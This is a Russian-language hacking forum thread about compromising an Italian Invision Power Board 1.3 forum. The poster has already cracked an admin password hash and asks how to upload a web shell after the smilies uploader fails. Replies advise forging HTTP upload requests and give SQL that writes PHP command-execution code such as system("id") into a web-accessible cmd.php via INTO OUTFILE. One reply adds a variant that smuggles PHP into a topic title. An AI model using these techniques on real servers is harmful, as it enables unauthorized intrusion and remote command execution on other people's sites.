Вопрос о заливке шелла на форуме Powered by Invision Power Board(U) v1.3 Final

Powered by Invision Power Board(U) v1.3 Final
короче получил хеш,расшифровал,захожу в админку,в смайлики пытаюсь закачать шелл пишет :
Upload Fallito!
пытался настраивать разрешенные типы файлов( разрешал *.phtml) и всё равно не пашет,может на форуме были подобные темы,но просьба мне дать нормальное объяснение как закачать шелл в таких обстоятельствах =)
плизз

 

Хех, ну скорее всего он пишет Upload Failed, а не то, что написал ты...
Если залить шелл в папку со смайликами не удаётся (папка закрыта на запись), то тогда попробуй через подделку HTTP запросов залить в папку uploads. Как это сделать читай тут: http://antichat.ru/txt/IPB/index2.php
ЗЫ: И таких тем полно по форуму! Не ленись пользоваться поиском! Вот к примеру: http://forum.antichat.ru/thread11725.html

 

как раз Upload Fallito!,форум итальянский..

я это видел раньше,но всё как-то там замудренно,я думаю ща придётся разбиратся

 

"Замудренно"? Там всё так расписано, что не суметь повторить этого я думаю очень сложно. Статья написана очень подробно и понятно имхо.

 

вот мне только не понятно 7d43942c405bc что это за значение ? и откуда я его могу взять ? без него отправить получилось но скрипта на месте не оказалось..

 

Попробуй залить через mysql. Где-то на рстшном форуме была статейка, ну примерно вот так:
create table ibf_shell(myshell char(50));
Insert into ibf_shell(myshell) values('<?тут пишешь php-команды, типа system("id")?>');
Select myshell from ibf_shell into outfile 'тут полный путь к файлу, типа /home/qwerty/www/uploads/cmd.php';
Если прав на аутфайл хватит, то считай что тебе повезло. Кроме того, ели включены register_globals, то можешь ввести что-то типа этого system($_GET)(вроде так). НО!
Я юзал так несколько форумов, и прав на вывод в outfile у меня не хватало, т.е. было
permission denied for user admin@localhost .
Если помог - ткни на репутацию...

 

да ты прав такой способ катит...еще один вариант создаешь темку с названием
<? $_GET[cmd]; ?>
потом с тем же outfile-ом выводишь эти строки в файл, просто надо тада запомнить столбец в котором нах-ся названия тем(я в мускуле не силен надеюсь прально сказал=)))

 

Повторюсь, если админ не полный кретин, то прав на вывод в outfile не хватит